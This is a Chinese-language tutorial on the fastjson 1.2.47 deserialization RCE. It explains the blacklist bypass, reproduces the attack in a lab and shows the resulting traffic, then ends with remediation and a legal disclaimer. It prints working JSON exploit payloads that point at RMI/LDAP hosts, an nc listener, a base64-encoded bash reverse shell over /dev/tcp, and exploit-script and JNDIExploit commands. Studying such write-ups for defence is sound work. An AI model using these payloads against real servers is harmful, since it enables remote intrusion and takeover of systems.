fastjson漏洞簡介
Fastjson是一個Java庫,可用於將Java對象轉換為其JSON表示形式。它還可以用於將JSON字符串轉換為等效的Java對象,fastjson爆出多個反序列化遠程命令執行漏洞,攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。
fastjson漏洞原理
先來分析fastjson 1.2.47的POC
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:8080/Exphub",
"autoCommit": true
}
}
對fastjson版本小於1.2.48的版本通殺,autoType為關閉狀態也可使用。
loadClass中默認cache設置為true,利用分為2步執行,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.JdbcRowSetImpl這個類,繞過了黑名單機制
該payload會利用fastjson的反序列化漏洞去指定的rmi/ldap服務進行遠程方法調用
若要進行遠程命令執行則需現構造一個惡意的rmi或者ldap,在其中設定要執行的命令,之后利用fastjson反序列化漏洞去使用我們構造的rmi/ldap,最終在fastjson服務器中執行我們在rmi/ldap中指定的命令,故該遠程命令執行無法回顯,但是仍然可以進行反彈shell(Linux)
除了rmi/ldap構造惡意類,還需要另其一個http服務提供具體的惡意類+要執行的命令,整體流程如下:
詳情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE
Fastjson漏洞環境搭建
- 主機A含有Fastjson漏洞環境 IP地址192.168.2.101
- 主機B含有惡意java類 IP地址192.168.2.102
- 主機C含有RMI服務 IP地址192.168.2.102
- 接收反彈shell-kali-linux IP地址192.168.2.103
主機A搭建含有fastjson1.2.47-rce漏洞環境
Fastjson漏洞環境復現
fastjson_tool.jar
fastjson-1.2.47_rce.py
反彈shell
- kali-linux執行nc監聽6666端口
nc -lvp 6666
- 主機B開啟RMI服務,加載遠程惡意java類
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //轉成bash能執行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
- 發送利用fastjson反序列化漏洞使靶機執行RMI服務的惡意java類執行遠程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object
- 反彈shell成功
fastjson漏洞攻擊流量分析
- 先從HTTP請求入手,可以看到HTTP發送POC服務器返回狀態碼400,其中有構造的開啟RMI服務的IP地址192.168.2.102
- 流量可以看到遠程調用成功執行Object.class惡意類
- 執行命令服務器返回的信息
2021年8月26日更新
fastjson執行命令回顯
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0 -l 1534
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:port/TomcatBypass/TomcatEcho","autoCommit":"true"}}
fastjson探測版本信息
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a
記得看content-type類型是否包含json
fastjson漏洞影響版本
- fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化遠程命令執行漏洞
- fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化遠程命令執行漏洞
- fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化遠程命令執行漏洞
- fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化遠程命令執行漏洞
- fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化遠程命令執行漏洞
- fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化遠程命令執行漏洞
- fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化遠程命令執行漏洞
- fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化遠程命令執行漏洞
fastjson漏洞修復措施
升級到 1.2.51 以上,並推薦關閉Autotype 詳細升級方法可參見漏洞修復措施
fastjson漏洞參考鏈接
cnblogs-關於FASTJSON 1.2.24 反序列化導致任意命令執行漏洞
阿里fastjson漏洞公告
Fastjson 1.2.24-1.2.47全漏洞RCE
https://www.cnblogs.com/sijidou/p/13121332.html
聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合!